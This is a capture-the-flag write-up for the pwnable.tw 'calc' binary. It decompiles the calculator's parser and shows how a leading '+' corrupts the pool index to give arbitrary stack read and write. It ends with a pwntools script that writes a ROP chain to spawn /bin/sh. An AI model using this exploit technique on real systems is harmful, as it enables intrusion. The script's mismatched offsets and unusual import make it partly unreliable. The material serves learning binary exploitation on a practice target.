writeup

Challenge Information

Reverse Engineering

So let’s playing with checksec first:

1
[*] '/mnt/e/sec/lab/pwnable.tw/calc/calc'
2
    Arch:       i386-32-little
3
    RELRO:      Partial RELRO
4
    Stack:      Canary found
5
    NX:         NX enabled
6
    PIE:        No PIE (0x8048000)
7
    Stripped:   No

Look at the result we know this is a i386 binary with Canary and no PIE. The PIE is disable so we don’t need to worry about the address because it’s fixed. So next, let’s decompile this binary in IDA and analysis:

main function

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  ssignal(14, timeout);
4
  alarm(60);
5
  puts("=== Welcome to SECPROG calculator ===");
6
  fflush(stdout);
7
  calc();
8
  return puts("Merry Christmas!");
9
}

Pretty simple, this function call calc function and make sure that the binary doesn’t run more than 1 minute. Next we will dive into calc function. (This function have 2 important function so I just show these 2 function)

calc function

1
unsigned int calc()
2
{
3
  int pool[101]; // [esp+18h] [ebp-5A0h] BYREF
4
  char expr[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
5
  unsigned int v3; // [esp+5ACh] [ebp-Ch]
6

7
  v3 = __readgsdword(0x14u);
8
  while ( 1 )
9
  {
10
    bzero(expr, 0x400u);
11
    if ( !get_expr(expr, 1024) )
12
      break;
13
    init_pool(pool);
14
    if ( parse_expr(expr, pool) )
15
    {
16
      printf("%d\n", pool[pool[0]]);
17
      fflush(stdout);
18
    }
19
  }
20
  return __readgsdword(0x14u) ^ v3;
21
}

get_expr function

1
int __cdecl get_expr(_BYTE *expr, int size)
2
{
3
  int v2; // eax
4
  char expression; // [esp+1Bh] [ebp-Dh] BYREF
5
  int i; // [esp+1Ch] [ebp-Ch]
6

7
  i = 0;
8
  while ( i < size && read(0, &expression, 1) != -1 && expression != '\n' )
9
  {
10
    if ( expression == '+'
11
      || expression == '-'
12
      || expression == '*'
13
      || expression == '/'
14
      || expression == '%'
15
      || expression > '/' && expression <= '9' )
16
    {
17
      v2 = i++;
18
      expr[v2] = expression;
19
    }
20
  }
21
  expr[i] = 0;
22
  return i;
23
}

Its main function is to receive expressions from the user. It requires the user to enter numbers and mathematical operations. And then it saves our input to expr variable

parse_expr function

1
int __cdecl parse_expr(char *expr, int *pool)
2
{
3
  int v3; // eax
4
  char *token_start; // [esp+20h] [ebp-88h]
5
  int i; // [esp+24h] [ebp-84h]
6
  int v6; // [esp+28h] [ebp-80h]
7
  int *token_length; // [esp+2Ch] [ebp-7Ch]
8
  char *number_str; // [esp+30h] [ebp-78h]
9
  int number; // [esp+34h] [ebp-74h]
10
  _BYTE operator[100]; // [esp+38h] [ebp-70h] BYREF
11
  unsigned int canary; // [esp+9Ch] [ebp-Ch]
12

13
  canary = __readgsdword(0x14u);
14
  token_start = expr;
15
  v6 = 0;
16
  bzero(operator, 0x64u);
17
  for ( i = 0; ; ++i )
18
  {
19
    if ( expr[i] - (unsigned int)'0' > 9 )
20
    {
21
      token_length = (int *)(&expr[i] - token_start);
22
      number_str = (char *)malloc((char *)token_length + 1);
23
      memcpy(number_str, token_start, token_length);
24
      number_str[(_DWORD)token_length] = 0;
25
      if ( !strcmp(number_str, "0") )
26
      {
27
        puts("prevent division by zero");
28
        fflush(stdout);
29
        return 0;
30
      }
31
      number = atoi(number_str);
32
      if ( number > '\0' )
33
      {
34
        v3 = (*pool)++;
35
        pool[v3 + 1] = number;
36
      }
37
      if ( expr[i] && expr[i + 1] - (unsigned int)'0' > 9 )
38
      {
39
        puts("expression error!");
40
        fflush(stdout);
41
        return 0;
42
      }
43
      token_start = &expr[i + 1];
44
      if ( operator[v6] )
45
      {
46
        switch ( expr[i] )
47
        {
48
          case '%':
49
          case '*':
50
          case '/':
51
            if ( operator[v6] != 43 && operator[v6] != 45 )
52
              goto LABEL_14;
53
            operator[++v6] = expr[i];
54
            break;
55
          case '+':
56
          case '-':
57
LABEL_14:
58
            eval(pool, operator[v6]);
59
            operator[v6] = expr[i];
60
            break;
61
          default:
62
            eval(pool, operator[v6--]);
63
            break;
64
        }
65
      }
66
      else
67
      {
68
        operator[v6] = expr[i];
69
      }
70
      if ( !expr[i] )
71
        break;
72
    }
73
  }
74
  while ( v6 >= 0 )
75
    eval(pool, operator[v6--]);
76
  return 1;
77
}

This is the function that takes care of the main job for a simulation computer. In this function, it will process the expression we enter from the previous function. So let me break down the main parts of this function.

1
token_start = expr;
2
v6 = 0;
3
bzero(operator, 0x64u);
4
for ( i = 0; ; ++i )
5
{
6
  if ( expr[i] - (unsigned int)'0' > 9 )
7
  {
8
    token_length = (int *)(&expr[i] - token_start);
9
    number_str = (char *)malloc((char *)token_length + 1);
10
    memcpy(number_str, token_start, token_length);
11
    number_str[(_DWORD)token_length] = 0;

All of this code are run inside the for loop. So first, it loops through each character in the expression. Each time, the function checks if the current character is not a digit (expr[i] - (unsigned int)'0' > 9). If the character is a number, the function splits it into a token.

token_length = (int *)(&expr[i] - token_start): Calculates the length of the current token by calculating the difference between the current character position and token_start.
number_str = (char *)malloc((char *)token_length + 1): Allocates memory for the number string number_str with a size corresponding to the length of the token.
memcpy(number_str, token_start, token_length): Copies the substring from expr to number_str.
number_str[(int)token_length] = 0: Adds the terminator character (\0) to the end of number_str.

1
if (!strcmp(number_str, "0"))
2
{
3
  puts("prevent division by zero");
4
  fflush(stdout);
5
  return 0;
6
}
7
number = atoi(number_str);

If the string is “0”, the function will print the message prevent division by zero and terminate the function, avoiding the division by zero error.
If it is not “0”, the string will be converted to an integer using atoi().

1
if (number > '\0')
2
{
3
  v3 = (*pool)++;
4
  pool[v3 + 1] = number;
5
}

This is the important one and have some special things here. For easy, it’ll look like this

1
if (number > 0) {
2
    v3 = pool[0];
3
    pool[0]++;
4
    pool[v3 + 1] = number
5
}

So for example, let say we want to calculate this expression 10+12. This code will work like this:

1
v3 = pool[0] = 0
2
pool[0] = pool[0] + 1 = 1
3
pool[v3 + 1] = pool[0 + 1] = pool[1] = 10
4

5
v3 = pool[0] = 1
6
pool[0] = pool[0] + 1 = 2
7
pool[v3 + 1] = pool[1 + 1] = pool[2] = 12
8

9
-> pool = [2, 10, 12]

That’s what these code work, I choose this explain because I had read many write-ups before to solve this and i get stuck on this line of code the most. So in the parse_expr function, pool[0] stores the number of elements (numbers) that will be calculated from the expression (in this case, it will be 2). The function checks each character in the expression to see if it’s a number. If it is a number, it adds it to pool and moves to the next character. When it finds an operator, it checks the rules and calls the eval() function to calculate the result of the numbers in pool, updating the operator and storing the result. Therefore, it’s not just about adding numbers to pool, but also handling operators and calling eval() to calculate the numbers when an operator is found.

In summary (in this example), the function starts by scanning the expression from left to right. When it encounters the characters 1 and 0, it recognizes them as a number and forms the number 10, which is then stored in the pool array. Specifically, pool[1] will hold the value 10. Next, the function encounters the operator + and stores it in the operator array. After processing the operator, the function moves on to the next number, which is 12. Just like 10, the number 12 is stored in pool[2]. Once the entire expression is processed, the function checks the + operator in the operator array and calls the eval function to perform the calculation between the two numbers in the pool.

eval function

1
int *__cdecl eval(int *pool, char n47)
2
{
3
  int *pool_1; // eax
4

5
  if ( n47 == '+' )
6
  {
7
    pool[*pool - 1] += pool[*pool];
8
  }
9
  else if ( n47 > '+' )
10
  {
11
    if ( n47 == '-' )
12
    {
13
      pool[*pool - 1] -= pool[*pool];
14
    }
15
    else if ( n47 == '/' )
16
    {
17
      pool[*pool - 1] /= pool[*pool];
18
    }
19
  }
20
  else if ( n47 == '*' )
21
  {
22
    pool[*pool - 1] *= pool[*pool];
23
  }
24
  pool_1 = pool;
25
  --*pool;
26
  return pool_1;
27
}

This function will calculate our expression. I’ll use our old example 10+12. When that expression go to this function, it’ll work like this

1
pool[0] = 2
2
pool[1] = 10
3
pool[2] = 12
4

5
pool[*pool - 1] += pool[*pool]
6
-> pool[pool[0] - 1] += pool[pool[0]]
7
-> pool[2 - 1] += pool[2]
8
-> pool[1] += pool[2]
9
-> pool[1] = pool[1] + pool[2] = 10 + 12 = 21
10
-> pool[1] = 21
11

12
pool[0] = pool[0] - 1 = 2 - 1 = 1
13
--> print out pool[pool[0]] (or pool[1])

We can see that our result will store at pool[1] and the program will print it out for us

Dynamic Analysis

1
=== Welcome to SECPROG calculator ===
2
1+1
3
2
4
2+1
5
3
6
2-1
7
1
8
+2
9
0
10
+500
11
0
12
+499
13
0
14
+500-1
15
-1
16
+500+1
17
0

We see it work nice but some expressions didn’t show the result as our expectation. So let’s take a look again. If we input +500, it will break the expression processing logic of the program. So in the pool it will happen like this

1
pool[0] = 1
2
pool[1] = 500

And because the operator is at the first of our expression all of this expression will come to eval function:

1
pool[0] = 1
2
pool[1] = 500
3

4
pool[*pool - 1] += pool[*pool]
5
-> pool[0] = pool[0] + pool[1]
6
-> pool[0] = 501
7

8
pool[0] = pool[0] - 1 = 500
9

10
-> print out the value at pool[500]

So with this we can arbitrary read permission, and we can arbitrary write too, this one work like the example above. For example, if you want to write 0xcafebabe to pool[500], you just need to do +500+3405691582.

1
pool[0] = 1
2
pool[1] = 500
3

4
pool[*pool - 1] += pool[*pool]
5
-> pool[0] = pool[0] + pool[1]
6
-> pool[0] = 501
7

8
pool[0] = pool[0] - 1 = 500
9

10
pool[0] = 501
11
pool[501] = 3405691582
12

13
pool[*pool - 1] += pool[*pool]
14
-> pool[500] = pool[500] + pool[501]
15
-> pool[500] = 3405691582
16

17
--> print out pool[pool[0] - 1]

Exploit Development

With the above information, it will be easier for us to write the exploit. But first we need to find the offset from the pool to the saved EIP of the main. To do that we set a breakpoint when the program above to call parse_expr function:

1
EBP  0xffffcdd8 —▸ 0xffffcdf8 —▸ 0x8049c30 (__libc_csu_fini) ◂— push ebx
2
ESP  0xffffc820 —▸ 0xffffc9cc ◂— '+381+134678656'
3
<...>
4
00:0000│ esp 0xffffc820 —▸ 0xffffc9cc ◂— '+381+134678656'
5
01:0004│-5b4 0xffffc824 —▸ 0xffffc838 ◂— 0                      <--------------- pool
6
02:0008│-5b0 0xffffc828 ◂— 0
7
03:000c│-5ac 0xffffc82c ◂— 0
8
04:0010│-5a8 0xffffc830 ◂— 0
9
05:0014│-5a4 0xffffc834 ◂— 0
10
06:0018│-5a0 0xffffc838 ◂— 0
11
07:001c│-59c 0xffffc83c ◂— 0
12
pwndbg> p/x 0xffffcdf8+4
13
$4 = 0xffffcdfc
14
pwndbg> p/x (0xffffcdfc-0xffffc838)/4
15
$5 = 0x171
16
pwndbg> p/d
17
$6 = 369

But when we check it again:

1
pwndbg> x/xw 0xffffcdf8+4
2
0xffffcdfc:     0x0804967a
3
pwndbg> x/xw 0xffffc838 + 369*4 + 4
4
0xffffce00:     0x00000001

pool[369] isn’t point to main’s saved EIP, so we need to calculate again

1
pwndbg> x/xw 0xffffcdf8+4
2
0xffffcdfc:     0x0804967a
3
pwndbg> x/xw 0xffffc838 + 369*4 + 4
4
0xffffce00:     0x00000001
5
pwndbg> p/x (0xffffce00-0xffffcdfc)/4
6
$2 = 0x1

And finally the offset is 0x170 or 368. And then the final stage is write a payload to send the payload (My payload just work from high offset -> low offset)


35 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from time import sleep
5

6
# context.log_level = 'debug'
7
exe = context.binary = ELF('./calc', checksec=False)
8
libc = exe.libc
9

10
def start(argv=[], *a, **kw):
11
    if args.GDB:
12
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw, aslr=False)
13
    elif args.REMOTE:
14
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
15
    elif args.DOCKER:
16
        p = remote("localhost", 1337)
17
        time.sleep(1)
18
        pid = process(["pgrep", "-fx", "/home/app/chall"]).recvall().strip().decode()
19
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
20
        pause()
21
        return p
22
    else:
23
        return process([exe.path] + argv, *a, **kw, aslr=False)
24

25
gdbscript = '''
26

27
# b *0x80493ED
28
# b *0x8049144
29
# b *eval
30
b *0x8049433
31
c
32
'''.format(**locals())
33

34
p = start()
35

36
# ==================== EXPLOIT ====================
37

38
offset = [0]
39
def parse(value) -> bytes:
40

41
    curr_offset = offset[0] + 360 # offset to reach return address
42
    offset[0] += 1
43
    return bytes(f'+{curr_offset}+{value}'.encode('utf-8'))
44

45
def exploit():
46

47
    pop_ecx_ebx = 0x080701d1  # pop ecx; pop ebx; ret;
48
    pop_eax = 0x080bc545      # pop eax; ret;
49
    bss = 0x80ecf80
50
    pop_esi = 0x0804a095      # pop esi; ret;
51
    xchg_ecx = 0x080e2141     # xchg ecx, eax; or cl, byte ptr [esi]; adc al, 0x41; ret;
52

53

54
    read = [
55
        parse(pop_ecx_ebx),
56
        parse(bss),
57
        parse(0),
58
        parse(pop_esi),
59
        parse(bss),
60
        parse(0x080e4a79), # xchg ebx, eax
61
        parse(0x080701aa), # pop edx
62
        parse(0x100),
63
        parse(pop_eax),
64
        parse(0x03),
65
        parse(0x08070880), # int 0x80; ret
66
    ]
67

68

69
    execve = [
70
        parse(pop_esi),
71
        parse(bss + 100),
72

73
        parse(0x080550d0), # xor eax, eax
74
        parse(xchg_ecx),
75

76
        parse(0x080481d1), # pop ebx
77
        parse(bss),
78

79
        parse(0x080550d0), # xor eax, eax
80
        parse(0x080ae7cc), # xchg edx, eax
81

82
        parse(pop_eax),
83
        parse(0x0b),
84

85
        parse(0x08070880), # int 0x80; ret
86
    ]
87

88

89
    # print(read)
90
    # print(execve)
91
    pl = read + execve
92

93
    for p in pl[::-1]:
94
        print(f'Write {p}')
95
        sl(p)
96
        print(rl())
97

98
    sl(b'')
99
    sl(b'/bin/sh\x00')
100

101
    interactive()
102

103
if __name__ == '__main__':
104
    exploit()

P/s: For some reason (IDK) why but my payload doesn’t work with the offset pool -> eip of main 🥹, so I chance to pool -> eip of calc

[PWNABLE.TW] - calc